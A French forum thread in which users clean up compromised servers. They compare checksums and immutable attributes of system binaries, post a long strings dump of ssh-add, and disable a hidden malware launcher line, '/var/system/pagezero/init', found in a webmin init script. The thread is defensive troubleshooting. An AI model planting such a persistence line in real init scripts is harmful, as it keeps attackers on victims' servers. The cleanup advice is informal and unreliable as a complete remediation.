                /usr/bin/ssh-keygen -d -f "${SSHD_CONFDIR}"/ssh_host_dsa_key -N '' || return 1
        fi
        if [ ! -e "${SSHD_CONFDIR}"/ssh_host_rsa_key ] ; then
                einfo "Generating RSA-Hostkey..."
                /usr/bin/ssh-keygen -t rsa -f "${SSHD_CONFDIR}"/ssh_host_rsa_key -N '' || return 1
        fi
        return 0
}

start() {
        local myopts=""
        [ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \
                && myopts="${myopts} -o PidFile=${SSHD_PIDFILE}"
        [ "${SSHD_CONFDIR}" != "/etc/ssh" ] \
                && myopts="${myopts} -f ${SSHD_CONFDIR}/sshd_config"

        checkconfig || return 1
        ebegin "Starting ${SVCNAME}"
        start-stop-daemon --start --exec "${SSHD_BINARY}" \
            --pidfile "${SSHD_PIDFILE}" \
            -- ${myopts} ${SSHD_OPTS}
        eend $?
}

stop() {
        if [ "${RC_CMD}" = "restart" ] ; then
                checkconfig || return 1
        fi

        ebegin "Stopping ${SVCNAME}"
        start-stop-daemon --stop --exec "${SSHD_BINARY}" \
            --pidfile "${SSHD_PIDFILE}" --quiet
        eend $?
}

reload() {
        ebegin "Reloading ${SVCNAME}"
        start-stop-daemon --stop --signal HUP --oknodo \
            --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}"
        eend $?
}
- - - Mise à jour - - -

Citation Envoyé par whynote
Voilà ce que j'obtiens...
/etc/init.d/webmin stop
* Stopping Webmin ...
start-stop-daemon: warning: failed to kill 6489: No such process
Oui mais là, à la limite c'est normal puisque tu n'arrives pas à te connecter à ton webmin,
il ne doit pas être lancé.

Donc on purge un peu :

Code:
/etc/init.d/webmin zap
(ce qui permet de purger le PID noté précédemment, lors du start précédent)

puis pour le (re)lancer :

Code:
/etc/init.d/webmin start
et avec un peu de chance, le graal

- - - Mise à jour - - -

Citation Envoyé par Operceval
ok donc tu me dis que il tourne dans le vide et il n est pas dangereux puisque il se disparait lui même ? j ai bien compris ?
Pas compris, désolé.

- - - Mise à jour - - -

Citation Envoyé par Garden
Je sais pas quel est la commande à taper ?
Arf, que donne comme résultat la commande :

Code:
uname -m
?

Garden
22/10/2014, 15h39
Citation Envoyé par cassiopee
Est-ce que tu utilises une version 32 ou 64 bits de la Release ?
Je sais pas quel est la commande à taper ?

Operceval
22/10/2014, 15h38
ok donc tu me dis que il tourne dans le vide et il n est pas dangereux puisque il se disparait lui même ? j ai bien compris ?

whynote
22/10/2014, 15h35
Voilà ce que j'obtiens...
/etc/init.d/webmin stop
* Stopping Webmin ...
start-stop-daemon: warning: failed to kill 6489: No such process

cassiopee
22/10/2014, 15h35
Citation Envoyé par Garden
Bizarre j'ai pas le même checksum que vous, le strings correspond ou j'ai un fichier hacké ? (les attributs n'ont pas été modifiés chez moi)
Est-ce que tu utilises une version 32 ou 64 bits de la Release ?

Grems
22/10/2014, 15h32
Bonjour,

Enfin, surtout bonjour cassiopee vu que ce message t'est destiné :-)

Pourrais-tu stp me donner le md5 ainsi que les attributs de ton fichier /etc/init.d/sshd voire carrément son contenu !
Le mien du 11Oct 5h26 ne me plait pas vraiment ...

Mon mien (ou plutôt peut être le sien...)
f71564ffab359faead63717920c3086b /etc/init.d/sshd

merci d'avance

cassiopee
22/10/2014, 15h32
Citation Envoyé par Operceval
aille redemarrer ça me fait très peur. si ça redemarre pas je suis chocolat ... : / tu penses que il n y pas de risque. il n a pas été redémarré depuis 3 mois
Non, ce n'est utile que si on voit les traces d'un programme pirate en RAM et que l'on arrive pas trop
à le situer/tuer.

Si on a réussi à le repérer et à le tuer, pas besoin de redémarrer tout le serveur.

Garden
22/10/2014, 15h30
Bizarre j'ai pas le même checksum que vous, le strings correspond ou j'ai un fichier hacké ? (les attributs n'ont pas été modifiés chez moi)

Code:
# md5sum /usr/bin/ssh-add
07fb7cf86e3827ef1375fe2d08b7ee75  /usr/bin/ssh-add
# strings /usr/bin/ssh-add
/lib64/ld-linux-x86-64.so.2
$1@	
|),O
libcrypto.so.0.9.8
EVP_DigestInit
EVP_enc_null
EVP_CIPHER_CTX_init
RSA_generate_key
PEM_read_PrivateKey
EVP_DigestFinal
BN_bin2bn
BN_CTX_new
BN_value_one
EVP_aes_128_cbc
BN_bn2bin
DSA_do_sign
BN_sub
OBJ_nid2sn
PEM_write_DSAPrivateKey
AES_set_encrypt_key
EVP_md5
EVP_rc4
OPENSSL_add_all_algorithms_noconf
DSA_generate_key
RC4_set_key
RSA_sign
EVP_aes_192_cbc
RSA_public_decrypt
EVP_aes_256_cbc
BN_num_bits
DSA_new
SSLeay
EVP_sha1
DSA_free
RSA_private_decrypt
EVP_CipherInit
RSA_new
CRYPTO_free
BN_div
BN_bn2dec
DSA_do_verify
EVP_PKEY_get1_DSA
MD5_Init
EVP_CIPHER_CTX_cleanup
RAND_status
BN_dec2bn
EVP_CIPHER_CTX_get_app_data
RSA_public_encrypt
ERR_error_string
MD5_Final
EVP_DigestUpdate
PEM_write_RSAPrivateKey
EVP_Cipher
RAND_bytes
BN_CTX_free
RSA_blinding_on
EVP_cast5_cbc
EVP_des_cbc
EVP_CIPHER_CTX_set_app_data
EVP_CIPHER_CTX_key_length
AES_encrypt
_fini
DSA_SIG_new
EVP_CIPHER_CTX_iv_length
RSA_free
DSA_SIG_free
ERR_get_error
BN_copy
DSA_generate_parameters
BN_dup
EVP_CIPHER_CTX_set_key_length
EVP_des_ede3_cbc
EVP_PKEY_get1_RSA
BN_clear_free
RSA_size
_Jv_RegisterClasses
BN_new
EVP_PKEY_free
MD5_Update
BN_cmp
EVP_bf_cbc
EVP_get_digestbyname
__gmon_start__
libdl.so.2
libutil.so.1
libz.so.1
libnsl.so.1
libcrypt.so.1
libresolv.so.2
__b64_pton
__b64_ntop
libc.so.6
waitpid
ioctl
getgid
stdout
connect
sigemptyset
geteuid
memmove
getenv
__stack_smash_handler
getegid
__rawmemchr
__strtol_internal
getpid
fgets
__strtoll_internal
memcpy
perror
puts
dup2
getuid
feof
malloc
isatty
vsnprintf
socket
setgroups
__strtoul_internal
fflush
fclose
lseek
__guard
freeaddrinfo
pipe
__ctype_tolower_loc
calloc
gai_strerror
fprintf
kill
readv
initgroups
setsockopt
__progname
setgid
read
openlog
closelog
unlink
strcasecmp
fdopen
realloc
__strdup
bcopy
fork
setresuid
execlp
sigaction
gettimeofday
memset
tcgetattr
time
getgroups
poll
syslog
seteuid
strcmp
getpwuid
getpwnam
fgetc
stderr
fputc
__ctype_b_loc
getsockopt
getaddrinfo
setresgid
fwrite
__xstat
__errno_location
__fxstat
fopen
__ctype_toupper_loc
_exit
strspn
__libc_start_main
strlen
strchr
setegid
vasprintf
fcntl
setuid
tcsetattr
setlogin
strpbrk
program_invocation_short_name
_edata
__bss_start
_end
GLIBC_2.3
GLIBC_2.3.2
GLIBC_2.2.5
$u$H
fffff.
AWAVAUE1
ATE1
[]A\A]A^A_
fffff.
T$pH;
[]A\
$t"H
fff.
L$ tD
T$ H9
\$8H
l$@L
d$HL
l$PH
D$ v
$t4~
T$ H;
T$ H;
\$8H
l$@L
d$HL
l$PH
\$ H
l$(L
d$0L
l$8L
t$@H
d$ H
T$0H9
\$HH
l$PL
d$XL
l$`L
t$hL
|$pH
T$@H;
\$XH
l$`L
d$hL
l$pL
t$xL
T$0H;
T$0H;
\$HH
l$PL
d$XL
l$`L
t$hL
|$pH
T$0H;
T$0H;
@[]A\
D$0D
T$0H;
T$0H;
\$HH
l$PL
d$XL
l$`L
t$hL
|$pH
T$ H;
T$ H;
\$0H
l$8L
d$@H
AVAUATI
t$(H
L$ H
|$(1
l$PH
t$01
d$pH
t$ L
|$(1
t$(H
[]A\A]A^A_
t$(H
t$(H
t$(H
T$ H
\$PH
 weH
[]A\A]A^
$u11
d$ H
AWAVA
AUATUSH
T$ H
\$PH
 wqL
[]A\A]A^A_
ffffff.
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
ffff.
l$ L
d$(L
l$0L
t$8L
|$@H
d$ L
l$(L
t$0H
fff.
[]A\A]A^
ffff.
ATUSH
l$ H
t>< 
[]A\A]A^A_
fff.
ffff.
fff.
\$ H
l$(L
d$0H
ffff.
\$ H
l$(L
d$0H
fffff.
ffff.
l$ H
$t?H
l$ H
fff.
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
fff.
 []A\
fff.
l$ L
d$(L
l$0L
t$8L
|$@H
fff.
ffffff.
5Tk!
ffffff.
[]A\
d$ H
fff.
fff.
fff.
ATUH
=6f!
[]A\
ATUH
=hZ!
%)d!
[]A\
\$ H
l$(L
d$0L
l$8L
t$@H
$$t.H
[]A\
ffff.
$D9m
t	9]
l$ L
d$(L
l$0L
t$8L
|$@H
\$pH
t(~!
d$ L
l$(L
t$0H
t-~&
{0Hc
l$ L
d$(L
l$0H
@ H=@;@
t(H=
@ H=@;@
HcP0
l$ H
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
l$ L
d$(L
l$0H
d$ H
\$(H
l$0L
d$8L
l$@L
t$HL
|$PH
l$ L
d$(L
l$0H
ffffff.
d$ H
fff.
ATE1
$tB1
[]A\A]
AUE1
ATUSH
 []A\A]A^
ATUSH
L$0u&H
T$0H9
@[]A\A]A^
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
AUATI
,$tC1
[]A\A]
4$t)1
AUATI
,$tC1
[]A\A]
=rB!
4$t)1
L$(L
D$0L
L$8H)
fffff.
=#H!
5QA!
fff.
=>?!
ffff.
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
D$ H;
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
D$ H;
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
D$ H;
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
D$ H;
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
D$ H;
t$8H
L$HL
D$PL
L$XH
D$ H
D$0H
D$ H;
ATUH
5S=!
<*tv
t[ 4
write to key file %s failed: %s
key_save_private: cannot save key type %d
save_private_key_rsa: bad cipher
Read from key file %.200s failed: %.100s
fstat for key file %.200s failed: %.100s
key_load_private_rsa1: RSA_blinding_on failed
Bad passphrase supplied for key file %.200s.
Unsupported cipher %d used in key file %.200s.
PEM_read_PrivateKey: mismatch or unknown EVP_PKEY save_type %d
read PEM private key done: type %s
key_load_private_pem: RSA_blinding_on failed
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
Permissions 0%3.3o for '%s' are too open.
It is recommended that your private key files are NOT accessible by others.
This private key will be ignored.
bad permissions: ignore key: %s
could not open key file '%s': %s
%s: could not open keyfile "%s": %s
key_save_private
fdopen %s failed: %s.
Not a RSA1 key file %.200s.
key_load_public_rsa1
key file %.200s too large
key_load_public_type
key_load_private_rsa1


key_load_private_pem
rsa w/o comment
dsa w/o comment
PEM_read_PrivateKey failed
fdopen failed: %s
key_perm_ok
key_load_private_type
key_load_private
key_try_load_public
key_load_public
key_in_file
%s: keyfile "%s" missing
buffer_get_short_ret
buffer_get_short
buffer_get_int_ret
buffer_get_int
buffer_get_int: buffer error
buffer_get_int64_ret
buffer_get_int64
buffer_put_short
buffer_put_int
buffer_put_int64
buffer_get_string_ret
buffer_get_string
buffer_get_string_ptr_ret
buffer_get_string_ptr
buffer_put_string
buffer_put_cstring
buffer_put_cstring: s == NULL
buffer_get_char_ret
buffer_get_char
buffer_get_char: buffer error
buffer_put_char
buffer_get_short: buffer error
buffer_get_string_ret: bad string length %u
buffer_get_string_ret: cannot extract length
buffer_get_string_ret: buffer_get failed
buffer_get_string: buffer error
buffer_get_string_ptr: bad string length %u
buffer_get_string_ptr: buffer error
buffer_get_char_ret: buffer_get_ret failed
buffer_put_bignum_ret
buffer_put_bignum
buffer_get_bignum_ret
buffer_get_bignum
buffer_put_bignum2_ret
buffer_put_bignum2
buffer_get_bignum2_ret
buffer_get_bignum2
buffer_put_bignum_ret: BN_bn2bin() failed: oi %d != bin_size %d
buffer_put_bignum: buffer error
buffer_get_bignum_ret: cannot handle BN of size %d
buffer_get_bignum_ret: input buffer too small
buffer_get_bignum_ret: BN_bin2bn failed
buffer_get_bignum_ret: invalid length
buffer_get_bignum_ret: buffer_consume failed
buffer_get_bignum: buffer error
buffer_put_bignum2_ret: negative numbers not supported
buffer_put_bignum2_ret: BN_bn2bin() failed: oi %d != bin_size %d
buffer_put_bignum2_ret: BN too small
buffer_put_bignum2: buffer error
buffer_get_bignum2_ret: negative numbers not supported
buffer_get_bignum2_ret: cannot handle BN of size %d
buffer_get_bignum2_ret: BN_bin2bn failed
buffer_get_bignum2_ret: invalid bignum
buffer_get_bignum2: buffer error
buffer_init
buffer_free
buffer_clear
buffer_compact
buffer_append_space
buffer_append
buffer_check_alloc
buffer_len
buffer_get_ret
buffer_get
buffer_get: buffer error
buffer_consume_ret
buffer_consume
buffer_consume: buffer error
buffer_consume_end_ret
buffer_consume_end
buffer_ptr
%02x
buffer_dump
buffer_append_space: len %u not supported
buffer_append_space: alloc %u not supported
buffer_get_ret: trying to get more bytes %d than in buffer %d
buffer_consume_ret: trying to get more bytes than in buffer
buffer_consume_end: trying to get more bytes than in buffer
none
blowfish
3des-cbc
blowfish-cbc
cast128-cbc
arcfour
arcfour128
arcfour256
aes128-cbc
aes192-cbc
aes256-cbc
rijndael-cbc@lysator.liu.se
aes128-ctr
aes192-ctr
aes256-ctr
acss@openssh.org
cipher_blocksize
cipher_keylen
cipher_get_number
cipher_is_cbc
cipher_mask_ssh1
cipher_by_name
cipher_by_number
ciphers_valid
cipher ok: %s [%s]
ciphers ok: [%s]
bad cipher %s [%s]
cipher_number
cipher_name
cipher_init
cipher_crypt
evp_crypt: EVP_Cipher failed
cipher_cleanup
cipher_set_key_string
cipher_get_keyiv_len
%s: bad cipher %d
cipher_get_keyiv
%s: wrong iv length %d != %d
cipher_set_keyiv
cipher_get_keycontext
cipher_set_keycontext
cipher_init: set keylen (%d -> %d)
cipher_init: set keylen failed (%d -> %d)
Warning: use of DES is strongly discouraged due to cryptographic weaknesses
cipher_init: key length %d is insufficient for %s.
cipher_init: EVP_CipherInit failed for %s
cipher_init: EVP_CipherInit: set key failed for %s
cipher_init: iv length %d is insufficient for %s.
evp_crypt: EVP_Cipher failed during discard
cipher_encrypt: bad plaintext length %d
cipher_cleanup: EVP_CIPHER_CTX_cleanup failed
cipher_get_keyiv
cipher_set_keyiv
acss_init_key
acss_ciph
acss_ctrl
evp_acss
swap_bytes
bf_ssh1_cipher
evp_ssh1_bf
ssh_aes_ctr
ssh_aes_ctr_init
ssh_aes_ctr_cleanup
ssh_aes_ctr_iv
ssh_aes_ctr_iv: no context
evp_aes_128_ctr
ssh1_3des_init
ssh1_3des_cbc
ssh1_3des_cbc: no context
ssh1_3des_cleanup
%s: Copying 3DES IV
ssh1_3des_iv
%s: Installed 3DES IV
%s: bad 3des iv length: %d
%s: no 3des context
evp_ssh1_3des
ssh1_3des_iv
Enabling compatibility mode for protocol 2.0
Enabling compatibility mode for protocol 1.3
OpenSSH-2.0*,OpenSSH-2.1*,OpenSSH_2.1*,OpenSSH_2.2*
OpenSSH_2.5.0p1*,OpenSSH_2.5.1p1*
OpenSSH_2.5.0*,OpenSSH_2.5.1*,OpenSSH_2.5.2*
OpenSSH_2.*,OpenSSH_3.0*,OpenSSH_3.1*
2.0.13*,2.0.14*,2.0.15*,2.0.16*,2.0.17*,2.0.18*,2.0.19*
1.2.18*,1.2.19*,1.2.20*,1.2.21*,1.2.22*
*OSU_0*,OSU_1.0*,OSU_1.1*,OSU_1.2*,OSU_1.3*,OSU_1.4*,OSU_1.5alpha1*,OSU_1.5alpha2*,OSU_1.5alpha3*
ignoring bad proto spec: '%s'.
enable_compat20
enable_compat13
OpenSSH_2.3.0*
OpenSSH_2.3.*
OpenSSH_2.5.3*
OpenSSH_3.*
Sun_SSH_1.0*
OpenSSH_4*
OpenSSH*
*MindTerm*
2.1.0*
2.1 *
2.0.11*,2.0.12*
2.0.*
2.2.0*,2.3.0*
3.0.*
3.0 SecureCRT*
1.7 SecureFX*
1.3.2*
*SSH Compatible Server*
*SSH_Version_Mapper*
Probe-*
no match: %s
compat_datafellows
match: %s pat %s
proto_spec
compat_cipher_proposal
Original cipher proposal: %s
Compat cipher proposal: %s
No available ciphers found.
QUIET
FATAL
ERROR
INFO
VERBOSE
DEBUG
DEBUG1
DEBUG2
DEBUG3
DAEMON
USER
AUTH
AUTHPRIV
LOCAL0
LOCAL1
LOCAL2
LOCAL3
LOCAL4
LOCAL5
LOCAL6
LOCAL7
log_facility_number
log_facility_name
log_level_number
log_level_name
log_init
do_log
internal error
%s: %s
%.500s
fatal
debug3
debug2
debug1
debug
verbose
logit
Unrecognized internal syslog level code %d
Unrecognized internal syslog facility code %d
match_pattern
match_pattern_list
match_hostname
match_host_and_ip
match_user
read_passphrase
DISPLAY
SSH_ASKPASS
/usr/libexec/ssh-askpass
/dev/tty
ssh_askpass: dup2: %s
ssh_askpass: fflush: %s
ssh_askpass: pipe: %s
ssh_askpass: fork: %s
ssh_askpass: exec(%s): %s
ask_permission
read_passphrase: stdin is not a tty
read_passphrase: can't open %s: %s
internal error: askpass undefined
rsa_public_encrypt() exponent too small or not odd
rsa_public_encrypt: BN_bin2bn failed
rsa_private_decrypt: BN_bin2bn failed
rsa_generate_additional_parameters: BN_new failed
rsa_generate_additional_parameters: BN_CTX_new failed
rsa_generate_additional_parameters: BN_sub/mod failed
rsa_generate_additional_parameters
rsa_public_encrypt
rsa_public_encrypt() failed
rsa_private_decrypt
rsa_private_decrypt() failed
xmalloc
xmalloc: zero size
xcalloc: zero size
xcalloc
xrealloc
xrealloc: zero size
xfree
xstrdup
xasprintf
xmalloc: out of memory (allocating %lu bytes)
xcalloc: nmemb * size > SIZE_T_MAX
xcalloc: out of memory (allocating %lu bytes)
xrealloc: nmemb * size > SIZE_T_MAX
xrealloc: out of memory (new_size %lu bytes)
xfree: NULL pointer given as argument
xasprintf: could not allocate memory
addr_netmask
addr_and
addr_pton
addr_pton_cidr
addr_netmatch
addr_match_list
0123456789abcdefABCDEF.:/
addr_match_cidr_list
addr_match_list
addr_match_cidr_list
%s: couldn't parse address %.100s
Inconsistent mask length for network "%.100s"
%s: list entry "%.100s" contains invalid characters
%s: empty entry in list "%.100s"
%s: list entry "%.100s" too long
Invalid network entry "%.100s"
atomicio
atomiciov
cert_new
key_is_cert
key_new: bad key type %d
key_new
key_new: RSA_new failed
key_new: BN_new failed
key_new: DSA_new failed
key_add_private
key_new_private
key_free
key_free: bad key type %d
key_free: key is NULL
cert_free
key_type_plain
key_equal_public
key_equal: bad key type %d
key_equal
DSA-CERT
key_type
RSA1
RSA-CERT
key_size
read_bignum
write_bignum
ssh-dss
ssh-rsa-cert-v00@openssh.com
ssh-dss-cert-v00@openssh.com
ssh-unknown
key_ssh_name
ssh-rsa
host
key_cert_type
key_generate
key_generate: unknown type %d
key_from_private
key_cert_copy
key_type_from_name
key_names_valid2
key names ok: [%s]
key_to_blob
key_to_blob: key == NULL
%s: no cert data
key_write
%s %s
key_write: failed for RSA key
key_fingerprint_raw
 .o+=*BOX@%&#/^SE
+--[%4s %4u]
%02x:
key_fingerprint
key_sign: invalid key type %d
key_sign
key_verify
key_from_blob
%s: parse error
%s: Constraints data invalid
Unknown certificate type %u
%s: Principals data invalid
%s: Too many principals
%s: Signature key invalid
key_read: bad key type: %d
key_read
key_read: missing whitespace
key_read: missing keytype
key_read: short string
key_read: type mismatch
key_read: uudecode %s failed
key_demote
key_demote: RSA_new failed
key_demote: BN_dup failed
key_demote: DSA_new failed
key_to_certified
%s: key has incorrect type %s
key_drop_cert
key_certify
%s: key lacks cert info
key_cert_check_authority
Certificate invalid: expired
key_new_private: BN_new failed
write_bignum: BN_bn2dec() failed
key_generate: cert keys cannot be generated directly
dsa_generate_private_key: DSA_generate_parameters failed
dsa_generate_private_key: DSA_generate_key failed.
rsa_generate_private_key: key generation failed.
key_from_private: unknown type %d
key_from_private: BN_copy failed
%s: nprincipals (%u) > CERT_MAX_PRINCIPALS (%u)
key_type_from_name: unknown key type '%s'
key_to_blob: unsupported key type %d
%s: no signed certificate blob
key_fingerprint_raw: bad key type %d
key_fingerprint_raw: blob is null
key_fingerprint_raw: bad digest type %d
key_fingerprint: bad digest representation %d
key_fingerprint: null from key_fingerprint_raw()
key_verify: invalid key type %d
key_from_blob: cannot handle type %s
key_from_blob: can't parse cert data
key_from_blob: remaining bytes in key blob %d
key_from_blob: can't read rsa key
key_from_blob: can't read dsa key
key_from_blob: can't read key type
%s: key ID contains \0 character
%s: Principal contains \0 character
%s: Certificate signature verification failed
%s: Invalid signature on certificate
%s: Invalid signature key type %s (%d)
key_read: claimed key size %d does not match actual %d
key_read: type mismatch: encoding error
key_read: loaded key is not a cert
key_read: key_from_blob %s failed
%s: CA key has unsupported type %s
%s: signature operation failed
%s: certificate has unknown type %d
Certificate invalid: not a user certificate
Certificate invalid: name is not a listed principal
Certificate invalid: not a host certificate
Certificate lacks principal list
%s: system clock lies before epoch
Certificate invalid: not yet valid
key_cert_copy
key_write
cert_parse
key_to_certified
key_drop_cert
key_certify
key_cert_check_authority
temporarily_use_uid: %u/%u (e=%u/%u)
%s: was able to restore old [e]uid
%s: euid incorrect uid:%u euid:%u (should be %u)
restore_uid: temporarily_use_uid not effective
permanently_set_uid: no user given
%s: egid incorrect gid:%u egid:%u (should be %u)
%s: was able to restore old [e]gid
permanently_set_uid: temporarily_use_uid effective
temporarily_use_uid
seteuid %u: %.100s
getgroups: %.100s
setgroups: %.100s
setegid %u: %.100s
initgroups: %s: %.100s
permanently_drop_suid: %u
permanently_drop_suid
setresuid %u: %.100s
restore_uid: %u/%u
restore_uid
restore_uid: (unprivileged)
permanently_set_uid: %u/%u
setresgid %u: %.100s
permanently_set_uid
permanently_drop_suid
permanently_set_uid
uuencode
uudecode
dump_base64: len > 65536
dump_base64
chop
fd %d setting O_NONBLOCK
fd %d is O_NONBLOCK
fcntl(%d, F_GETFL, 0): %s
fd %d clearing O_NONBLOCK
unset_nonblock
fd %d is not O_NONBLOCK
ssh_gai_strerror
fd %d setting TCP_NODELAY
set_nodelay
fd %d is TCP_NODELAY
strdelim
pwcopy
a2port
a2tun
convtime
put_host_port
[%s]:%d
put_host_port: %s
put_host_port: asprintf: %s
hpdelim
cleanhostname
colon
addargs
addargs: argument too long
replacearg
replacearg: argument too long
freeargs
tilde_expand_filename
percent_expand
%s: unknown key %%%c
%s: too many keys
%s: NULL replacement
%s: string too long
read_keyfile_line
/dev/null
sanitise_stdfd
dup2: %s
Couldn't open /dev/null: %s
tohex: length > 65536
tohex
get_u64
get_u32
get_u16
put_u64
put_u32
put_u16
ms_subtract_diff
ms_to_timeval
%s: set socket %d IPV6_V6ONLY
sock_set_v6only
setsockopt IPV6_V6ONLY: %s
fcntl(%d, F_SETFL, O_NONBLOCK): %s
fcntl(%d, F_SETFL, ~O_NONBLOCK): %s
getsockopt TCP_NODELAY: %.100s
setsockopt TCP_NODELAY: %.100s
replacearg: tried to replace invalid arg %d >= %d
tilde_expand_filename: ~username too long
tilde_expand_filename: No such user %s
tilde_expand_filename: Path too long
tilde_expand_filename: No such uid %ld
%s: %s line %lu exceeds size limit
percent_expand
read_keyfile_line
sock_set_v6only
ssh_dss_sign: no DSA key
ssh_dss_sign
bad sig size %u %u
ssh_dss_sign: sign failed
ssh_dss_verify: no DSA key
ssh_dss_verify
incorrect
ssh_dss_verify: signature %s
ssh_dss_verify: BN_new failed
ssh_dss_verify: DSA_SIG_new failed
ssh_dss_verify: BN_bin2bn failed
ssh_dss_verify: cannot handle type %s
bad sigbloblen %u != SIGBLOB_LEN
ssh_dss_verify: remaining bytes in signature %d
0!0	
ssh_rsa_sign: no RSA key
ssh_rsa_sign
slen %u > len %u
ssh_rsa_verify: no RSA key
ssh_rsa_verify
bad hashlen
bad siglen
oid mismatch
hash mismatch
RSA_public_decrypt failed: %s
ssh_rsa_sign: RSA_sign failed: %s
ssh_rsa_sign: slen %u slen2 %u
ssh_rsa_sign: EVP_get_digestbynid %d failed
ssh_rsa_verify: signature %scorrect
bad decrypted len: %d != %d + %d
ssh_rsa_verify: add padding: modlen %u > len %u
ssh_rsa_verify: RSA modulus too small: %d < minimum %d bits
ssh_rsa_verify: cannot handle type %s
ssh_rsa_verify: remaining bytes in signature %d
ssh_rsa_verify: len %u > modlen %u
ssh_rsa_verify: EVP_get_digestbynid %d failed
seed_rng
PRNG is not seeded
init_rng
OpenSSL version mismatch. Built against %lx, you have %lx
acss_seed
acss_setkey
acss_setsubkey
arc4random_stir
arc4random
arc4random_buf
arc4random_uniform
Couldn't obtain random bytes (error %ld)
ssh_get_progname
setlogin
mysignal
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
__b64_ntop
__b64_pton
BSDgetopt
%s: illegal option -- %c
%s: option requires an argument -- %c
readpassphrase
handler
strlcat
strlcpy
too small
strtonum
strvis
strnvis
strvisx
sys_tun_open
/dev/net/tun
tun%d
%s: %s mode %d fd %d
sys_tun_open
tap%d
%s: invalid tunnel id %x: %s
%s: tunnel mode %d fd %d
sys_tun_infilter
sys_tun_outfilter
%s: failed to configure tunnel (mode %d): %s
%s: failed to open tunnel control interface: %s
3s;&c#kv>~6+n.f{
=}5$m-et<|4%l,du
7w?"g'or:z2/j*b
9y1 i)ap8x0!h(`q
u=5}
{go'
!ia)
t<4|
vjb*
 h`(
%me-
+7?w
q91y
$ld,
&:2z
p80x

Operceval
22/10/2014, 15h26
aille redemarrer ça me fait très peur. si ça redemarre pas je suis chocolat ... : / tu penses que il n y pas de risque. il n a pas été redémarré depuis 3 mois

cassiopee
22/10/2014, 15h23
Citation Envoyé par Un_passant
Merci cassiopee, voici ce que j'ai :
ls -al /usr/bin/ssh-add
-rwxr-xr-x 1 root root 125320 jui 28 2010 /usr/bin/ssh-add

md5sum /usr/bin/ssh-add
2d2f1b3fbde35cf9e76dd75f9b341e70 /usr/bin/ssh-add
Ok, donc mis à part les attributs étendus, il semble ok
(sauf si la commande "md5sum" a elle aussi été modifiée )

Je suis bon pour un petit shutdown -r now, ça me fais un peu peur!
On croise les doigts

De toute façon, un reboot peut intervenir à n'importe quel moment.

Mieux vaut faire quelques sauvegardes avant si pas déjà fait.

- - - Mise à jour - - -

@Garden : j'ai répondu à ton MP

Un_passant
22/10/2014, 15h17
Merci cassiopee, voici ce que j'ai :
ls -al /usr/bin/ssh-add
-rwxr-xr-x 1 root root 125320 jui 28 2010 /usr/bin/ssh-add

md5sum /usr/bin/ssh-add
2d2f1b3fbde35cf9e76dd75f9b341e70 /usr/bin/ssh-add

Je suis bon pour un petit shutdown -r now, ça me fais un peu peur!

cassiopee
22/10/2014, 15h12
Citation Envoyé par Un_passant
ssh-add je peux le déplacer sans problème?
Humm, non, a priori il fait partie des commandes/binaires standard
dans une Release 2. Il faudrait vérifier que c'est le bon fichier, non modifié.

Voilà ce que ça donne chez moi :

Code:
# ls -al  /usr/bin/ssh-add

-rwxr-xr-x 1 root root 125320 jui 28  2010 ssh-add
Code:
# md5sum /usr/bin/ssh-add

2d2f1b3fbde35cf9e76dd75f9b341e70  /usr/bin/ssh-add

cassiopee
22/10/2014, 15h10
Citation Envoyé par Un_passant
j'imagine que quelque chose tourne actuellement.
Vraisemblablement. Si le script de démarrage de webmin a été nettoyé ainsi
que le crontab, une possibilité simple de faire le ménage en RAM est de redémarrer
le serveur dans son ensemble, de façon software (commande "reboot").

Un_passant
22/10/2014, 15h08
ps aux | grep cwd ne donne rien pour info

Un_passant
22/10/2014, 15h05
Il me reste ceci :
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /proc/1592/task/1592/cwd
s---ia-------- /proc/1592/cwd
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /usr/bin/ssh-add
Sachant que lsof a le bon checksum (f55c0123de0f67b32f34e1d0df9c56a0), je me demande pourquoi il est encore là!

ssh-add je peux le déplacer sans problème?

Merci.

- - - Mise à jour - - -

Je relance la commande et j'ai encore plus de résultats :
lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /proc/1592/task/1592/cwd
s---ia-------- /proc/1592/cwd
s---ia-------- /proc/8718/task/8718/cwd
s---ia-------- /proc/8718/cwd
s---ia-------- /proc/26713/task/26713/cwd
s---ia-------- /proc/26713/cwd
s---ia-------- /proc/26714/task/26714/cwd
s---ia-------- /proc/26714/cwd
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /usr/bin/ssh-add
j'imagine que quelque chose tourne actuellement.

cassiopee
22/10/2014, 15h02
Citation Envoyé par whynote
J'ai fait donc ce qui était préconisé... dans l'attente d'une migration bien sûr...
Seul petit hic je n'ai plus de webmin
alors que je n'ai fait que commenter
#/var/system/pagezero/init >/dev/null 2>&1
dans/etc/init.d/webmin
Là il faudrait sans doute le redémarrer ?

Code:
# /etc/init.d/webmin stop
(pour le principe)

puis

Code:
# /etc/init.d/webmin start

whynote
22/10/2014, 15h00
J'ai fait donc ce qui était préconisé... dans l'attente d'une migration bien sûr...
Seul petit hic je n'ai plus de webmin
alors que je n'ai fait que commenter
#/var/system/pagezero/init >/dev/null 2>&1
dans/etc/init.d/webmin

cassiopee
22/10/2014, 14h58
Citation Envoyé par nono67
Résultat des commandes ci-dessous :

Comment faire pour remettre en route mes taches cron ?
Déjà, est-ce que tu les as re-créer ou pas ?

Si non, c'est par ça qu'il faut commencer.

Et est-ce que le crontab en question n'a pas les attributs étendus
visibles par "lsattr" ?

- - - Mise à jour - - -

